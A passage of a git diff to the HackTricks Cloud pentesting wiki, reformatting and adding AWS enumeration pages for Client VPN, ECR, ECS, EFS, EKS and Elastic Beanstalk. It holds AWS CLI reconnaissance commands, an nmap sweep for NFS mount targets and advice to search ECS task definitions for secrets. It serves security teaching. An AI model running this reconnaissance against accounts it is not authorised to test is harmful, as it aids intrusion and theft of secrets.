-* **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
-* **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
-* **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
-* **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
-* **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
-* **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
-* **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
-* **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
-* **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
+- **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
+- **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
+- **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
+- **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
+- **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
+- **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
+- **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
+- **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
+- **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
+- **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
 
 #### Limitations
 
-* **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
-* Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
-* A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
-* The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
-* The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
-* You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
-* A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
-* Client VPN supports **IPv4** traffic only.
-* Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**.
-*   If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format.
+- **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
+- Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
+- A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
+- The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
+- The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
+- You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
+- A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
+- Client VPN supports **IPv4** traffic only.
+- Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**.
+- If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format.
 
-    ```
-    SCRV1:<base64_encoded_string>:<base64_encoded_string>
-    ```
-* The self-service portal is **not available for clients that authenticate using mutual authentication**.
+  ```
+  SCRV1:<base64_encoded_string>:<base64_encoded_string>
+  ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+- The self-service portal is **not available for clients that authenticate using mutual authentication**.
 
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
new file mode 100644
index 000000000..054b414b8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
@@ -0,0 +1,102 @@
+# AWS - ECR Enum
+
+## AWS - ECR Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### ECR
+
+#### Basic Information
+
+Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images.
+
+ECR is compose by 2 types of objects: **Registries** and **Repositories**.
+
+**Registries**
+
+Every AWS account has 2 registries: **Private** & **Public**.
+
+1. **Private Registries**:
+
+- **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission.
+  - The URI of a **private repository** follows the format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
+- **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles.
+- **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS...
+- **Other private registry options**:
+  - The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images.
+  - The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions.
+  - The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**.
+  - Specific **IAM policies** can be configured to grant different **permissions**.
+  - The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo.
+
+2. **Public Registries**:
+
+- **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.**
+  - The URI of a **public repository** is like `public.ecr.aws/<random>/<name>`. Although the `<random>` part can be changed by the admin to another string easier to remember.
+
+**Repositories**
+
+These are the **images** that in the **private registry** or to the **public** one.
+
+> [!NOTE]
+> Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**.
+
+#### Registry & Repository Policies
+
+**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image:
+
+<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
+
+#### Enumeration
+
+```bash
+# Get repos
+aws ecr describe-repositories
+aws ecr describe-registry
+
+# Get image metadata
+aws ecr list-images --repository-name <repo_name>
+aws ecr describe-images --repository-name <repo_name>
+aws ecr describe-image-replication-status --repository-name <repo_name> --image-id <image_id>
+aws ecr describe-image-scan-findings --repository-name <repo_name> --image-id <image_id>
+aws ecr describe-pull-through-cache-rules --repository-name <repo_name> --image-id <image_id>
+
+# Get public repositories
+aws ecr-public describe-repositories
+
+# Get policies
+aws ecr get-registry-policy
+aws ecr get-repository-policy --repository-name <repo_name>
+```
+
+#### Unauthenticated Enum
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
+{{#endref}}
+
+#### Privesc
+
+In the following page you can check how to **abuse ECR permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/aws-ecr-privesc.md
+{{#endref}}
+
+#### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-ecr-post-exploitation.md
+{{#endref}}
+
+#### Persistence
+
+{{#ref}}
+../aws-persistence/aws-ecr-persistence.md
+{{#endref}}
+
+## References
+
+- [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
new file mode 100644
index 000000000..94aa75376
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
@@ -0,0 +1,82 @@
+# AWS - ECS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ECS
+
+### Basic Information
+
+Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**.
+
+ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**.
+
+- **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”.
+- **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPC’s, subnets, and security groups.
+  - There **2 types of applications**:
+    - **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application.
+    - **Task**: A standalone task that runs and terminates. For example, a batch job.
+  - Among the service applications, there are **2 types of service schedulers**:
+    - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node.
+    - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies.
+- **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**...
+  - Check **env variables for sensitive info**!
+
+### Sensitive Data In Task Definitions
+
+Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within.
+
+Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions.
+
+### Enumeration
+
+```bash
+# Clusters info
+aws ecs list-clusters
+aws ecs describe-clusters --clusters <cluster>
+
+# Container instances
+## An Amazon ECS container instance is an Amazon EC2 instance that is running the Amazon ECS container agent and has been registered into an Amazon ECS cluster.
+aws ecs list-container-instances --cluster <cluster>
+aws ecs describe-container-instances --cluster <cluster> --container-instances <container_instance_arn>
+
+# Services info
+aws ecs list-services --cluster <cluster>
+aws ecs describe-services --cluster <cluster> --services <services>
+aws ecs describe-task-sets --cluster <cluster> --service <service>
+
+# Task definitions
+aws ecs list-task-definition-families
+aws ecs list-task-definitions
+aws ecs list-tasks --cluster <cluster>
+aws ecs describe-tasks --cluster <cluster> --tasks <tasks>
+## Look for env vars and secrets used from the task definition
+aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
+```
+
+### Unauthenticated Access
+
+{{#ref}}
+../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
+{{#endref}}
+
+### Privesc
+
+In the following page you can check how to **abuse ECS permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/aws-ecs-privesc.md
+{{#endref}}
+
+### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-ecs-post-exploitation.md
+{{#endref}}
+
+### Persistence
+
+{{#ref}}
+../aws-persistence/aws-ecs-persistence.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
similarity index 51%
rename from pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
index 75d6aad44..1a7079ae8 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
@@ -1,19 +1,6 @@
 # AWS - EFS Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## EFS
 
@@ -53,13 +40,11 @@ aws efs describe-replication-configurations
 sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure
 ```
 
-{% hint style="danger" %}
-It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**.
-{% endhint %}
+> [!CAUTION]
+> It might be that the EFS mount point is inside the same VPC but in a different subnet. If you want to be sure you find all **EFS points it would be better to scan the `/16` netmask**.
 
 ### Mount EFS
 
-{% code overflow="wrap" %}
 ```bash
 sudo mkdir /efs
 
@@ -73,7 +58,6 @@ sudo yum install amazon-efs-utils # If centos
 sudo apt-get install amazon-efs-utils # If ubuntu
 sudo mount -t efs <file-system-id/EFS DNS name>:/ /efs/
 ```
-{% endcode %}
 
 ### IAM Access
 
@@ -82,30 +66,30 @@ For example, this File System policy **won't allow even to mount** the file syst
 
 ```json
 {
-    "Version": "2012-10-17",
-    "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797",
-    "Statement": [
-        {
-            "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": "",
-            "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018",
-            "Condition": {
-                "Bool": {
-                    "elasticfilesystem:AccessedViaMountTarget": "true"
-                }
-            }
+  "Version": "2012-10-17",
+  "Id": "efs-policy-wizard-2ca2ba76-5d83-40be-8557-8f6c19eaa797",
+  "Statement": [
+    {
+      "Sid": "efs-statement-e7f4b04c-ad75-4a7f-a316-4e5d12f0dbf5",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "",
+      "Resource": "arn:aws:elasticfilesystem:us-east-1:318142138553:file-system/fs-0ab66ad201b58a018",
+      "Condition": {
+        "Bool": {
+          "elasticfilesystem:AccessedViaMountTarget": "true"
         }
-    ]
+      }
+    }
+  ]
 }
 ```
 
 Or this will **prevent anonymous access**:
 
-<figure><img src="../../../.gitbook/assets/image (278).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (278).png" alt=""><figcaption></figcaption></figure>
 
 Note that to mount file systems protected by IAM you MUST use the type "efs" in the mount command:
 
@@ -130,45 +114,31 @@ sudo mount -t efs -o tls,[iam],accesspoint=<access-point-id> \
     <file-system-id/EFS DNS> /efs/
 ```
 
-{% hint style="warning" %}
-Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it.
-{% endhint %}
+> [!WARNING]
+> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it.
 
 Access points can be used for the following purposes:
 
-* **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions.
-* **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification.
-* **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications.
+- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions.
+- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification.
+- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications.
 
 ## Privesc
 
-{% content-ref url="../aws-privilege-escalation/aws-efs-privesc.md" %}
-[aws-efs-privesc.md](../aws-privilege-escalation/aws-efs-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-privilege-escalation/aws-efs-privesc.md
+{{#endref}}
 
 ## Post Exploitation
 
-{% content-ref url="../aws-post-exploitation/aws-efs-post-exploitation.md" %}
-[aws-efs-post-exploitation.md](../aws-post-exploitation/aws-efs-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-post-exploitation/aws-efs-post-exploitation.md
+{{#endref}}
 
 ## Persistence
 
-{% content-ref url="../aws-persistence/aws-efs-persistence.md" %}
-[aws-efs-persistence.md](../aws-persistence/aws-efs-persistence.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-persistence/aws-efs-persistence.md
+{{#endref}}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
new file mode 100644
index 000000000..3e34a3cd4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
@@ -0,0 +1,46 @@
+# AWS - EKS Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EKS
+
+Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS.
+
+Key aspects of Amazon EKS include:
+
+1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates.
+2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security.
+3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design.
+4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment.
+
+#### Enumeration
+
+```bash
+aws eks list-clusters
+aws eks describe-cluster --name <cluster_name>
+# Check for endpointPublicAccess and publicAccessCidrs
+
+aws eks list-fargate-profiles --cluster-name <cluster_name>
+aws eks describe-fargate-profile --cluster-name <cluster_name> --fargate-profile-name <prof_name>
+
+aws eks list-identity-provider-configs --cluster-name <cluster_name>
+aws eks describe-identity-provider-config --cluster-name <cluster_name> --identity-provider-config <p_config>
+
+aws eks list-nodegroups --cluster-name <c_name>
+aws eks describe-nodegroup --cluster-name <c_name> --nodegroup-name <n_name>
+
+aws eks list-updates --name <name>
+aws eks describe-update --name <name> --update-id <id>
+```
+
+#### Post Exploitation
+
+{{#ref}}
+../aws-post-exploitation/aws-eks-post-exploitation.md
+{{#endref}}
+
+## References
+
+- [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
similarity index 57%
rename from pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
index a2440c8d3..ddb803d1a 100644
--- a/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
@@ -1,19 +1,6 @@
 # AWS - Elastic Beanstalk Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
@@ -23,15 +10,15 @@ Elastic Beanstalk provides a simple and flexible way to **deploy your applicatio
 
 The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2:
 
-{% content-ref url="aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/" %}
-[aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/)
-{% endcontent-ref %}
+{{#ref}}
+aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
 
 Moreover, if Docker is used, it’s possible to use **ECS**.
 
-{% content-ref url="aws-eks-enum.md" %}
-[aws-eks-enum.md](aws-eks-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-eks-enum.md
+{{#endref}}
 
 ### Application & Environments
 
@@ -39,15 +26,15 @@ In AWS Elastic Beanstalk, the concepts of an "application" and an "environment"
 
 #### Application
 
-* An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity.
-* When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources.
-* You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments.
+- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity.
+- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources.
+- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments.
 
 #### Environment
 
-* An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration.
-* **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production.
-* When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings.
+- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration.
+- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production.
+- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings.
 
 ### 2 types of Environments
 
@@ -58,15 +45,15 @@ In AWS Elastic Beanstalk, the concepts of an "application" and an "environment"
 
 When creating an App in Beanstalk there are 3 very important security options to choose:
 
-* **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app
-* **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**)
-  * The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier).
-* **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role.
-  * This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions)
+- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app
+- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**)
